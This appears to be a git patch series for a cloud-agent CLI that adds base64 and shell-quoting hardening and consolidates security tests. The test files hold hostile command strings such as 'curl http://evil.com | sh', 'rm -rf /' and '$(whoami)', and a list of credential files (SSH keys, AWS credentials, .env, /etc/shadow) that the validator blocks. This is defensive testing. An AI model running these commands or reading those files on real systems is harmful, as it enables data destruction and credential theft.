skipped assertions when the condition evaluated the wrong way, providing false confidence. Also remove now-unused tryCatch imports from prompt-file-security.test.ts and security.test.ts. Co-authored-by: spawn-qa-bot Co-authored-by: Claude Sonnet 4.6 --- .../src/__tests__/prompt-file-security.test.ts | 17 ++++------------- packages/cli/src/__tests__/security.test.ts | 9 ++------- .../cli/src/__tests__/with-retry-result.test.ts | 12 ++++++------ 3 files changed, 12 insertions(+), 26 deletions(-) diff --git a/packages/cli/src/__tests__/prompt-file-security.test.ts b/packages/cli/src/__tests__/prompt-file-security.test.ts index 2c1afe4ad..1588b3ead 100644 --- a/packages/cli/src/__tests__/prompt-file-security.test.ts +++ b/packages/cli/src/__tests__/prompt-file-security.test.ts @@ -1,5 +1,4 @@ import { describe, expect, it } from "bun:test"; -import { tryCatch } from "@openrouter/spawn-shared"; import { validatePromptFilePath, validatePromptFileStats } from "../security.js"; describe("validatePromptFilePath", () => { @@ -82,12 +81,8 @@ describe("validatePromptFilePath", () => { }); it("should include helpful error message about exfiltration risk", () => { - const r = tryCatch(() => validatePromptFilePath("/home/user/.ssh/id_rsa")); - expect(r.ok).toBe(false); - if (!r.ok) { - expect(r.error.message).toContain("sent to the agent"); - expect(r.error.message).toContain("plain text file"); - } + expect(() => validatePromptFilePath("/home/user/.ssh/id_rsa")).toThrow("sent to the agent"); + expect(() => validatePromptFilePath("/home/user/.ssh/id_rsa")).toThrow("plain text file"); }); it("should reject SSH key files by filename pattern anywhere in path", () => { @@ -144,11 +139,7 @@ describe("validatePromptFileStats", () => { isFile: () => true, size: 5 * 1024 * 1024, }; - const r = tryCatch(() => validatePromptFileStats("large.bin", stats)); - expect(r.ok).toBe(false); - if (!r.ok) { - expect(r.error.message).toContain("5.0MB"); - expect(r.error.message).toContain("maximum is 1MB"); - } + expect(() => validatePromptFileStats("large.bin", stats)).toThrow("5.0MB"); + expect(() => validatePromptFileStats("large.bin", stats)).toThrow("maximum is 1MB"); }); }); diff --git a/packages/cli/src/__tests__/security.test.ts b/packages/cli/src/__tests__/security.test.ts index 56c857405..8e18b638e 100644 --- a/packages/cli/src/__tests__/security.test.ts +++ b/packages/cli/src/__tests__/security.test.ts @@ -1,5 +1,4 @@ import { describe, expect, it } from "bun:test"; -import { tryCatch } from "@openrouter/spawn-shared"; import { validateIdentifier, validatePrompt, validateScriptContent } from "../security.js"; /** @@ -431,12 +430,8 @@ describe("validatePrompt", () => { }); it("should provide helpful error message for command substitution", () => { - const r = tryCatch(() => validatePrompt("Run $(echo test)")); - expect(r.ok).toBe(false); - if (!r.ok) { - expect(r.error.message).toContain("shell syntax"); - expect(r.error.message).toContain("plain English"); - } + expect(() => validatePrompt("Run $(echo test)")).toThrow("shell syntax"); + expect(() => validatePrompt("Run $(echo test)")).toThrow("plain English"); }); it("should detect multiple dangerous patterns", () => { diff --git a/packages/cli/src/__tests__/with-retry-result.test.ts b/packages/cli/src/__tests__/with-retry-result.test.ts index 8153cc628..1aa98f99e 100644 --- a/packages/cli/src/__tests__/with-retry-result.test.ts +++ b/packages/cli/src/__tests__/with-retry-result.test.ts @@ -149,12 +149,12 @@ describe("wrapSshCall", () => { it("wraps non-Error rejects into Error for Err", async () => { const result = await wrapSshCall(Promise.reject("string error")); - expect(result.ok).toBe(false); - if (result.ok) { - return; - } - expect(result.error).toBeInstanceOf(Error); - expect(result.error.message).toBe("string error"); + expect(result).toMatchObject({ + ok: false, + error: { + message: "string error", + }, + }); }); }); From 96b9a8d8e19fe9b2f990792de68168a441e7688e Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 05:16:48 -0700 Subject: [PATCH 09/26] security: validate base64 in digitalocean.sh SSH exec (defense-in-depth) (#2528) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add explicit base64 character validation in _digitalocean_exec after encoding the command, matching the existing pattern in provision.sh. This ensures the encoded value contains only [A-Za-z0-9+/=] before embedding it in the SSH command string. Note: #2527 (provision.sh base64 validation) was already fixed in a prior commit — the validation at lines 284-289 already rejects non-base64 characters and empty output. Fixes #2526 Agent: security-auditor Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.6 --- sh/e2e/lib/clouds/digitalocean.sh | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/sh/e2e/lib/clouds/digitalocean.sh b/sh/e2e/lib/clouds/digitalocean.sh index 48d73f3e3..837c165f2 100644 --- a/sh/e2e/lib/clouds/digitalocean.sh +++ b/sh/e2e/lib/clouds/digitalocean.sh @@ -178,6 +178,14 @@ _digitalocean_exec() { local encoded_cmd encoded_cmd=$(printf '%s' "${cmd}" | base64 | tr -d '\n') + # Validate base64 output contains only safe characters (defense-in-depth). + # Standard base64 only produces [A-Za-z0-9+/=]. This rejects any corruption + # and ensures the value cannot break out of single quotes in the SSH command. + if ! printf '%s' "${encoded_cmd}" | grep -qE '^[A-Za-z0-9+/=]+$'; then + log_err "Invalid base64 encoding of command for SSH exec" + return 1 + fi + ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -o ConnectTimeout=10 -o LogLevel=ERROR -o BatchMode=yes \ "root@${ip}" "printf '%s' '${encoded_cmd}' | base64 -d | bash" From f0d0ee024b48fa2632ee213d5dbffd04fba028ca Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 06:32:48 -0700 Subject: [PATCH 10/26] security: validate base64 output in cloud_exec and soak.sh (defense-in-depth) (#2532) Add base64 character validation ([A-Za-z0-9+/=]) before use in SSH command strings for gcp.sh, aws.sh, and hetzner.sh cloud_exec functions -- matching the existing fix in digitalocean.sh (#2528). Also add a validated _encode_b64 helper to soak.sh and use it for all Telegram bot token encoding, preventing corrupted base64 from breaking out of single-quoted SSH command strings. Closes #2527 Agent: security-auditor Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- sh/e2e/lib/clouds/aws.sh | 8 ++++++++ sh/e2e/lib/clouds/gcp.sh | 8 ++++++++ sh/e2e/lib/clouds/hetzner.sh | 8 ++++++++ sh/e2e/lib/soak.sh | 29 ++++++++++++++++++++++++----- 4 files changed, 48 insertions(+), 5 deletions(-) diff --git a/sh/e2e/lib/clouds/aws.sh b/sh/e2e/lib/clouds/aws.sh index ebe882b56..060798a13 100644 --- a/sh/e2e/lib/clouds/aws.sh +++ b/sh/e2e/lib/clouds/aws.sh @@ -152,6 +152,14 @@ _aws_exec() { local encoded_cmd encoded_cmd=$(printf '%s' "${cmd}" | base64 | tr -d '\n') + # Validate base64 output contains only safe characters (defense-in-depth). + # Standard base64 only produces [A-Za-z0-9+/=]. This rejects any corruption + # and ensures the value cannot break out of single quotes in the SSH command. + if ! printf '%s' "${encoded_cmd}" | grep -qE '^[A-Za-z0-9+/=]+$'; then + log_err "Invalid base64 encoding of command for SSH exec" + return 1 + fi + ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -o ConnectTimeout=10 -o LogLevel=ERROR -o BatchMode=yes \ "ubuntu@${_AWS_INSTANCE_IP}" "printf '%s' '${encoded_cmd}' | base64 -d | bash" diff --git a/sh/e2e/lib/clouds/gcp.sh b/sh/e2e/lib/clouds/gcp.sh index 5871c264e..e49ceb963 100644 --- a/sh/e2e/lib/clouds/gcp.sh +++ b/sh/e2e/lib/clouds/gcp.sh @@ -165,6 +165,14 @@ _gcp_exec() { local encoded_cmd encoded_cmd=$(printf '%s' "${cmd}" | base64 | tr -d '\n') + # Validate base64 output contains only safe characters (defense-in-depth). + # Standard base64 only produces [A-Za-z0-9+/=]. This rejects any corruption + # and ensures the value cannot break out of single quotes in the SSH command. + if ! printf '%s' "${encoded_cmd}" | grep -qE '^[A-Za-z0-9+/=]+$'; then + log_err "Invalid base64 encoding of command for SSH exec" + return 1 + fi + ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -o ConnectTimeout=10 -o LogLevel=ERROR -o BatchMode=yes \ "${ssh_user}@${_GCP_INSTANCE_IP}" "printf '%s' '${encoded_cmd}' | base64 -d | bash" diff --git a/sh/e2e/lib/clouds/hetzner.sh b/sh/e2e/lib/clouds/hetzner.sh index 0de71e819..9ca81fdc2 100644 --- a/sh/e2e/lib/clouds/hetzner.sh +++ b/sh/e2e/lib/clouds/hetzner.sh @@ -158,6 +158,14 @@ _hetzner_exec() { local encoded_cmd encoded_cmd=$(printf '%s' "${cmd}" | base64 | tr -d '\n') + # Validate base64 output contains only safe characters (defense-in-depth). + # Standard base64 only produces [A-Za-z0-9+/=]. This rejects any corruption + # and ensures the value cannot break out of single quotes in the SSH command. + if ! printf '%s' "${encoded_cmd}" | grep -qE '^[A-Za-z0-9+/=]+$'; then + log_err "Invalid base64 encoding of command for SSH exec" + return 1 + fi + ssh -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null \ -o LogLevel=ERROR \ diff --git a/sh/e2e/lib/soak.sh b/sh/e2e/lib/soak.sh index cbe6fe7cb..80e8cf9e9 100644 --- a/sh/e2e/lib/soak.sh +++ b/sh/e2e/lib/soak.sh @@ -47,6 +47,25 @@ validate_positive_int() { if ! validate_positive_int "SOAK_WAIT_SECONDS" "${SOAK_WAIT_SECONDS}"; then exit 1; fi if ! validate_positive_int "SOAK_CRON_DELAY_SECONDS" "${SOAK_CRON_DELAY_SECONDS}"; then exit 1; fi +# --------------------------------------------------------------------------- +# _encode_b64 VALUE +# +# Base64-encodes VALUE (via stdin), strips newlines, and validates the output +# contains only [A-Za-z0-9+/=]. Prints the encoded string on success, returns +# 1 on failure. Defense-in-depth: prevents corrupted base64 from breaking out +# of single-quoted SSH command strings. +# --------------------------------------------------------------------------- +_encode_b64() { + local raw="$1" + local encoded + encoded=$(printf '%s' "${raw}" | base64 -w 0 2>/dev/null || printf '%s' "${raw}" | base64 | tr -d '\n') + if ! printf '%s' "${encoded}" | grep -qE '^[A-Za-z0-9+/=]+$'; then + log_err "Invalid base64 encoding" + return 1 + fi + printf '%s' "${encoded}" +} + # --------------------------------------------------------------------------- # soak_validate_telegram_env # @@ -123,7 +142,7 @@ soak_inject_telegram_config() { # Base64-encode the token to avoid shell metacharacter issues local encoded_token - encoded_token=$(printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 -w 0 2>/dev/null || printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 | tr -d '\n') + encoded_token=$(_encode_b64 "${TELEGRAM_BOT_TOKEN}") || return 1 log_step "Patching ~/.openclaw/openclaw.json with Telegram bot token..." @@ -166,7 +185,7 @@ soak_test_telegram_getme() { log_step "Testing Telegram getMe API..." local encoded_token - encoded_token=$(printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 -w 0 2>/dev/null || printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 | tr -d '\n') + encoded_token=$(_encode_b64 "${TELEGRAM_BOT_TOKEN}") || return 1 local output output=$(cloud_exec "${app}" "_TOKEN=\$(printf '%s' '${encoded_token}' | base64 -d); \ @@ -193,7 +212,7 @@ soak_test_telegram_send() { log_step "Testing Telegram sendMessage API..." local encoded_token - encoded_token=$(printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 -w 0 2>/dev/null || printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 | tr -d '\n') + encoded_token=$(_encode_b64 "${TELEGRAM_BOT_TOKEN}") || return 1 local marker marker="SPAWN_SOAK_TEST_$(date +%s)" @@ -225,7 +244,7 @@ soak_test_telegram_webhook() { log_step "Testing Telegram getWebhookInfo API..." local encoded_token - encoded_token=$(printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 -w 0 2>/dev/null || printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 | tr -d '\n') + encoded_token=$(_encode_b64 "${TELEGRAM_BOT_TOKEN}") || return 1 local output output=$(cloud_exec "${app}" "_TOKEN=\$(printf '%s' '${encoded_token}' | base64 -d); \ @@ -344,7 +363,7 @@ soak_test_openclaw_cron_fired() { log_step "Testing OpenClaw cron-triggered Telegram reminder..." local encoded_token - encoded_token=$(printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 -w 0 2>/dev/null || printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 | tr -d '\n') + encoded_token=$(_encode_b64 "${TELEGRAM_BOT_TOKEN}") || return 1 # Step 1: Get the message_id from OpenClaw's cron execution data. # OpenClaw stores cron job data in ~/.openclaw/cron/. We look for: From ae5667a8c612010d639fa4a364e4eeed700f3188 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 06:33:53 -0700 Subject: [PATCH 11/26] refactor: deduplicate generateCsrfState into shared/oauth.ts (#2530) The identical generateCsrfState() helper existed in both digitalocean/digitalocean.ts and shared/oauth.ts. Export it from oauth.ts (which digitalocean.ts already imports) and remove the duplicate copy. Co-authored-by: spawn-qa-bot Co-authored-by: Claude Sonnet 4.6 Co-authored-by: L <6723574+louisgv@users.noreply.github.com> --- packages/cli/src/digitalocean/digitalocean.ts | 8 +------- packages/cli/src/shared/oauth.ts | 2 +- 2 files changed, 2 insertions(+), 8 deletions(-) diff --git a/packages/cli/src/digitalocean/digitalocean.ts b/packages/cli/src/digitalocean/digitalocean.ts index 890afc539..54d94e85d 100644 --- a/packages/cli/src/digitalocean/digitalocean.ts +++ b/packages/cli/src/digitalocean/digitalocean.ts @@ -6,7 +6,7 @@ import type { CloudInitTier } from "../shared/agents"; import { mkdirSync, readFileSync } from "node:fs"; import { handleBillingError, isBillingError, showNonBillingError } from "../shared/billing-guidance"; import { getPackagesForTier, NODE_INSTALL_CMD, needsBun, needsNode } from "../shared/cloud-init"; -import { OAUTH_CSS } from "../shared/oauth"; +import { generateCsrfState, OAUTH_CSS } from "../shared/oauth"; import { parseJsonObj } from "../shared/parse"; import { getSpawnCloudConfigPath } from "../shared/paths"; import { @@ -313,12 +313,6 @@ const OAUTH_SUCCESS_HTML = `

Authorization Failed

Invalid or missing state parameter (CSRF protection). Please try again.

`; -function generateCsrfState(): string { - const bytes = new Uint8Array(16); - crypto.getRandomValues(bytes); - return Array.from(bytes, (b) => b.toString(16).padStart(2, "0")).join(""); -} - async function tryRefreshDoToken(): Promise { const refreshToken = loadRefreshToken(); if (!refreshToken) { diff --git a/packages/cli/src/shared/oauth.ts b/packages/cli/src/shared/oauth.ts index 1c5fdcd4e..2b95c5afd 100644 --- a/packages/cli/src/shared/oauth.ts +++ b/packages/cli/src/shared/oauth.ts @@ -48,7 +48,7 @@ async function verifyOpenrouterKey(apiKey: string): Promise { // ─── OAuth Flow via Bun.serve ──────────────────────────────────────────────── -function generateCsrfState(): string { +export function generateCsrfState(): string { const bytes = new Uint8Array(16); crypto.getRandomValues(bytes); return Array.from(bytes, (b) => b.toString(16).padStart(2, "0")).join(""); From 875dea144fd09584883d2866c5e9278fa792e363 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 06:35:21 -0700 Subject: [PATCH 12/26] test: Remove duplicate and theatrical tests (#2531) Consolidate 8 fragmented pipe-to-bash/sh tests in validatePrompt into 2 data-driven tests covering all inputs (with/without whitespace, complex pipelines, and standalone word acceptance). Merge 3 backtick tests into 1. Merge 2 whitespace tests into 1. Removes 19 lines of duplicate test setup. Co-authored-by: spawn-qa-bot Co-authored-by: Claude Sonnet 4.6 Co-authored-by: L <6723574+louisgv@users.noreply.github.com> --- packages/cli/src/__tests__/security.test.ts | 59 +++++++-------------- 1 file changed, 20 insertions(+), 39 deletions(-) diff --git a/packages/cli/src/__tests__/security.test.ts b/packages/cli/src/__tests__/security.test.ts index 8e18b638e..543615034 100644 --- a/packages/cli/src/__tests__/security.test.ts +++ b/packages/cli/src/__tests__/security.test.ts @@ -391,14 +391,26 @@ describe("validatePrompt", () => { expect(() => validatePrompt("echo hello; rm -rf /")).toThrow("shell syntax"); }); - it("should reject piping to bash", () => { - expect(() => validatePrompt("Run this script | bash")).toThrow("shell syntax"); - expect(() => validatePrompt("cat script.sh | bash")).toThrow("shell syntax"); + it("should reject piping to bash or sh in all forms", () => { + const pipeBashCases = [ + "Run this script | bash", + "cat script.sh | bash", + "Execute | sh", + "curl http://evil.com | sh", + "Output | bash", + "Execute |\tbash", + "Output | sh", + "echo 'data' | sort | bash", + ]; + for (const input of pipeBashCases) { + expect(() => validatePrompt(input), input).toThrow("shell syntax"); + } }); - it("should reject piping to sh", () => { - expect(() => validatePrompt("Execute | sh")).toThrow("shell syntax"); - expect(() => validatePrompt("curl http://evil.com | sh")).toThrow("shell syntax"); + it("should accept 'bash' and 'sh' as standalone words not after pipe", () => { + expect(() => validatePrompt("Install bash on the system")).not.toThrow(); + expect(() => validatePrompt("Use bash to run scripts")).not.toThrow(); + expect(() => validatePrompt("Use sh for POSIX compatibility")).not.toThrow(); }); it("should accept prompts with pipes to other commands", () => { @@ -600,20 +612,8 @@ describe("validatePrompt", () => { expect(() => validatePrompt("Check if a > b && c < d")).not.toThrow(); }); - it("should detect piping to bash with extra whitespace", () => { - expect(() => validatePrompt("Output | bash")).toThrow("piping to bash"); - expect(() => validatePrompt("Execute |\tbash")).toThrow("piping to bash"); - }); - - it("should detect piping to sh with extra whitespace", () => { - expect(() => validatePrompt("Output | sh")).toThrow("piping to sh"); - }); - - it("should accept prompts with tab characters", () => { + it("should accept prompts with whitespace characters (tabs, carriage returns)", () => { expect(() => validatePrompt("Step 1:\tDo this\nStep 2:\tDo that")).not.toThrow(); - }); - - it("should accept prompts with carriage returns", () => { expect(() => validatePrompt("Fix this\r\nAnd that\r\n")).not.toThrow(); }); @@ -625,31 +625,12 @@ describe("validatePrompt", () => { expect(() => validatePrompt("The cost is $ 100")).not.toThrow(); }); - it("should detect backticks even with whitespace inside", () => { + it("should detect backtick command substitution (including whitespace and empty)", () => { expect(() => validatePrompt("Run ` whoami `")).toThrow(); - }); - - it("should detect empty backticks", () => { expect(() => validatePrompt("Use `` for inline code")).toThrow(); - }); - - it("should accept single backtick (not closed)", () => { expect(() => validatePrompt("Use the ` character for quoting")).not.toThrow(); }); - it("should reject piping to bash in complex expressions", () => { - expect(() => validatePrompt("echo 'data' | sort | bash")).toThrow(); - }); - - it("should accept 'bash' as standalone word not after pipe", () => { - expect(() => validatePrompt("Install bash on the system")).not.toThrow(); - expect(() => validatePrompt("Use bash to run scripts")).not.toThrow(); - }); - - it("should accept 'sh' as standalone word not after pipe", () => { - expect(() => validatePrompt("Use sh for POSIX compatibility")).not.toThrow(); - }); - it("should detect rm -rf with semicolons and spaces", () => { expect(() => validatePrompt("do something ; rm -rf /")).toThrow(); }); From b443d4c9982915854fdd6de5084befe68bcb28bb Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 07:27:48 -0700 Subject: [PATCH 13/26] security: harden shellQuote and consolidate shell escaping in gcp.ts (#2533) - Add null-byte rejection to shellQuote (defense-in-depth) - Export shellQuote for testability - Refactor interactiveSession to use shellQuote instead of inline escaping - Add comprehensive test suite for shellQuote security properties Fixes #2529 Agent: security-auditor Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- packages/cli/package.json | 2 +- .../cli/src/__tests__/gcp-shellquote.test.ts | 71 +++++++++++++++++++ packages/cli/src/gcp/gcp.ts | 15 ++-- 3 files changed, 83 insertions(+), 5 deletions(-) create mode 100644 packages/cli/src/__tests__/gcp-shellquote.test.ts diff --git a/packages/cli/package.json b/packages/cli/package.json index d411b8c75..027123bae 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@openrouter/spawn", - "version": "0.16.16", + "version": "0.16.17", "type": "module", "bin": { "spawn": "cli.js" diff --git a/packages/cli/src/__tests__/gcp-shellquote.test.ts b/packages/cli/src/__tests__/gcp-shellquote.test.ts new file mode 100644 index 000000000..9c973f124 --- /dev/null +++ b/packages/cli/src/__tests__/gcp-shellquote.test.ts @@ -0,0 +1,71 @@ +import { describe, expect, it } from "bun:test"; +import { shellQuote } from "../gcp/gcp.js"; + +describe("shellQuote", () => { + it("should wrap simple strings in single quotes", () => { + expect(shellQuote("hello")).toBe("'hello'"); + expect(shellQuote("ls -la")).toBe("'ls -la'"); + }); + + it("should escape embedded single quotes", () => { + expect(shellQuote("it's")).toBe("'it'\\''s'"); + expect(shellQuote("a'b'c")).toBe("'a'\\''b'\\''c'"); + }); + + it("should handle strings with no special characters", () => { + expect(shellQuote("simple")).toBe("'simple'"); + expect(shellQuote("/usr/bin/env")).toBe("'/usr/bin/env'"); + }); + + it("should safely quote shell metacharacters", () => { + expect(shellQuote("$(whoami)")).toBe("'$(whoami)'"); + expect(shellQuote("`id`")).toBe("'`id`'"); + expect(shellQuote("a; rm -rf /")).toBe("'a; rm -rf /'"); + expect(shellQuote("a | cat /etc/passwd")).toBe("'a | cat /etc/passwd'"); + expect(shellQuote("a && curl evil.com")).toBe("'a && curl evil.com'"); + expect(shellQuote("${HOME}")).toBe("'${HOME}'"); + }); + + it("should handle double quotes inside single-quoted string", () => { + expect(shellQuote('echo "hello"')).toBe("'echo \"hello\"'"); + }); + + it("should handle empty string", () => { + expect(shellQuote("")).toBe("''"); + }); + + it("should reject null bytes (defense-in-depth)", () => { + expect(() => shellQuote("hello\x00world")).toThrow("null bytes"); + expect(() => shellQuote("\x00")).toThrow("null bytes"); + expect(() => shellQuote("cmd\x00; rm -rf /")).toThrow("null bytes"); + }); + + it("should handle strings with newlines", () => { + const result = shellQuote("line1\nline2"); + expect(result).toBe("'line1\nline2'"); + }); + + it("should handle strings with tabs", () => { + const result = shellQuote("col1\tcol2"); + expect(result).toBe("'col1\tcol2'"); + }); + + it("should handle backslashes", () => { + expect(shellQuote("a\\b")).toBe("'a\\b'"); + }); + + it("should handle multiple consecutive single quotes", () => { + expect(shellQuote("''")).toBe("''\\'''\\'''"); + }); + + it("should produce output that is safe for bash -c", () => { + // Verify the quoting pattern: the result, when interpreted by bash, + // should yield the original string without executing anything + const dangerous = "$(rm -rf /)"; + const quoted = shellQuote(dangerous); + // The quoted string wraps in single quotes, preventing expansion + expect(quoted).toBe("'$(rm -rf /)'"); + expect(quoted.startsWith("'")).toBe(true); + expect(quoted.endsWith("'")).toBe(true); + }); +}); diff --git a/packages/cli/src/gcp/gcp.ts b/packages/cli/src/gcp/gcp.ts index dfb91db30..51868ac3f 100644 --- a/packages/cli/src/gcp/gcp.ts +++ b/packages/cli/src/gcp/gcp.ts @@ -1022,9 +1022,8 @@ export async function interactiveSession(cmd: string): Promise { } const username = resolveUsername(); const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); - // Single-quote escaping prevents premature shell expansion of $variables in cmd - const shellEscapedCmd = cmd.replace(/'/g, "'\\''"); - const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c '${shellEscapedCmd}'`; + // Use shellQuote for consistent single-quote escaping (prevents shell expansion of $variables in cmd) + const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${shellQuote(cmd)}`; const keyOpts = getSshKeyOpts(await ensureSshKeys()); const exitCode = spawnInteractive([ @@ -1084,6 +1083,14 @@ export async function destroyInstance(name?: string): Promise { // ─── Shell Quoting ────────────────────────────────────────────────────────── -function shellQuote(s: string): string { +/** POSIX single-quote escaping: wraps `s` in single quotes and escapes any + * embedded single quotes with the standard `'\''` technique. + * + * Defense-in-depth: rejects null bytes which could truncate the string at + * the C/OS level even though callers already validate for them. */ +export function shellQuote(s: string): string { + if (/\0/.test(s)) { + throw new Error("shellQuote: input must not contain null bytes"); + } return "'" + s.replace(/'/g, "'\\''") + "'"; } From 567751420158086f8979a69a4e92a9d4ca51c1bc Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 09:52:45 -0700 Subject: [PATCH 14/26] test: Remove duplicate and theatrical tests (#2534) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Consolidate 9 per-credential-type it() blocks in prompt-file-security.test.ts into a single data-driven test covering all 17 sensitive path patterns. Merge 2 validatePromptFileStats "accept" tests into one. Consolidate 4 unicode/encoding-attack it() blocks in security.test.ts into a single data-driven test. Merge 3 "accept identifier" it() blocks into one. Removes 19 redundant tests (1400 → 1381) with no loss of coverage. Co-authored-by: spawn-qa-bot Co-authored-by: Claude Sonnet 4.6 --- .../__tests__/prompt-file-security.test.ts | 212 ++++++++++-------- packages/cli/src/__tests__/security.test.ts | 32 +-- 2 files changed, 128 insertions(+), 116 deletions(-) diff --git a/packages/cli/src/__tests__/prompt-file-security.test.ts b/packages/cli/src/__tests__/prompt-file-security.test.ts index 1588b3ead..cfa2bf0e3 100644 --- a/packages/cli/src/__tests__/prompt-file-security.test.ts +++ b/packages/cli/src/__tests__/prompt-file-security.test.ts @@ -8,6 +8,8 @@ describe("validatePromptFilePath", () => { expect(() => validatePromptFilePath("prompts/task.md")).not.toThrow(); expect(() => validatePromptFilePath("/home/user/prompt.txt")).not.toThrow(); expect(() => validatePromptFilePath("/tmp/instructions.md")).not.toThrow(); + expect(() => validatePromptFilePath("/etc/hosts")).not.toThrow(); + expect(() => validatePromptFilePath("/home/user/.config/spawn/prompt.txt")).not.toThrow(); }); it("should reject empty paths", () => { @@ -15,71 +17,92 @@ describe("validatePromptFilePath", () => { expect(() => validatePromptFilePath(" ")).toThrow("Prompt file path is required"); }); - it("should reject SSH private key files", () => { - expect(() => validatePromptFilePath("/home/user/.ssh/id_rsa")).toThrow("SSH"); - expect(() => validatePromptFilePath("/home/user/.ssh/id_ed25519")).toThrow("SSH"); - expect(() => validatePromptFilePath("~/.ssh/config")).toThrow("SSH directory"); - expect(() => validatePromptFilePath("/root/.ssh/authorized_keys")).toThrow("SSH directory"); - }); - - it("should reject AWS credential files", () => { - expect(() => validatePromptFilePath("/home/user/.aws/credentials")).toThrow("AWS"); - expect(() => validatePromptFilePath("/home/user/.aws/config")).toThrow("AWS"); - }); - - it("should reject Google Cloud credential files", () => { - expect(() => validatePromptFilePath("/home/user/.config/gcloud/application_default_credentials.json")).toThrow( - "Google Cloud", - ); - }); - - it("should reject Azure credential files", () => { - expect(() => validatePromptFilePath("/home/user/.azure/accessTokens.json")).toThrow("Azure"); - }); - - it("should reject Kubernetes config files", () => { - expect(() => validatePromptFilePath("/home/user/.kube/config")).toThrow("Kubernetes"); - }); - - it("should reject Docker credential files", () => { - expect(() => validatePromptFilePath("/home/user/.docker/config.json")).toThrow("Docker"); - }); - - it("should reject .env files", () => { - expect(() => validatePromptFilePath(".env")).toThrow("environment file"); - expect(() => validatePromptFilePath(".env.local")).toThrow("environment file"); - expect(() => validatePromptFilePath(".env.production")).toThrow("environment file"); - expect(() => validatePromptFilePath("/app/.env")).toThrow("environment file"); - }); - - it("should reject npm credential files", () => { - expect(() => validatePromptFilePath("/home/user/.npmrc")).toThrow("npm"); - }); - - it("should reject netrc files", () => { - expect(() => validatePromptFilePath("/home/user/.netrc")).toThrow("netrc"); - }); - - it("should reject git credential files", () => { - expect(() => validatePromptFilePath("/home/user/.git-credentials")).toThrow("Git credentials"); - }); - - it("should reject /etc/shadow", () => { + it("should reject credential files of all types", () => { + const cases: Array< + [ + string, + string, + ] + > = [ + [ + "/home/user/.ssh/id_rsa", + "SSH", + ], + [ + "/home/user/.ssh/id_ed25519", + "SSH", + ], + [ + "~/.ssh/config", + "SSH directory", + ], + [ + "/root/.ssh/authorized_keys", + "SSH directory", + ], + [ + "/home/user/.aws/credentials", + "AWS", + ], + [ + "/home/user/.aws/config", + "AWS", + ], + [ + "/home/user/.config/gcloud/application_default_credentials.json", + "Google Cloud", + ], + [ + "/home/user/.azure/accessTokens.json", + "Azure", + ], + [ + "/home/user/.kube/config", + "Kubernetes", + ], + [ + "/home/user/.docker/config.json", + "Docker", + ], + [ + ".env", + "environment file", + ], + [ + ".env.local", + "environment file", + ], + [ + ".env.production", + "environment file", + ], + [ + "/app/.env", + "environment file", + ], + [ + "/home/user/.npmrc", + "npm", + ], + [ + "/home/user/.netrc", + "netrc", + ], + [ + "/home/user/.git-credentials", + "Git credentials", + ], + ]; + for (const [path, expectedMsg] of cases) { + expect(() => validatePromptFilePath(path), path).toThrow(expectedMsg); + } + }); + + it("should reject system password files", () => { expect(() => validatePromptFilePath("/etc/shadow")).toThrow("password hashes"); - }); - - it("should reject /etc/master.passwd", () => { expect(() => validatePromptFilePath("/etc/master.passwd")).toThrow("password hashes"); }); - it("should accept /etc/hosts (non-sensitive system file)", () => { - expect(() => validatePromptFilePath("/etc/hosts")).not.toThrow(); - }); - - it("should accept normal config-directory paths that are not sensitive", () => { - expect(() => validatePromptFilePath("/home/user/.config/spawn/prompt.txt")).not.toThrow(); - }); - it("should include helpful error message about exfiltration risk", () => { expect(() => validatePromptFilePath("/home/user/.ssh/id_rsa")).toThrow("sent to the agent"); expect(() => validatePromptFilePath("/home/user/.ssh/id_rsa")).toThrow("plain text file"); @@ -95,43 +118,42 @@ describe("validatePromptFilePath", () => { describe("validatePromptFileStats", () => { it("should accept regular files within size limit", () => { - const stats = { - isFile: () => true, - size: 100, - }; - expect(() => validatePromptFileStats("prompt.txt", stats)).not.toThrow(); - }); - - it("should accept files at the 1MB limit", () => { - const stats = { - isFile: () => true, - size: 1024 * 1024, - }; - expect(() => validatePromptFileStats("prompt.txt", stats)).not.toThrow(); 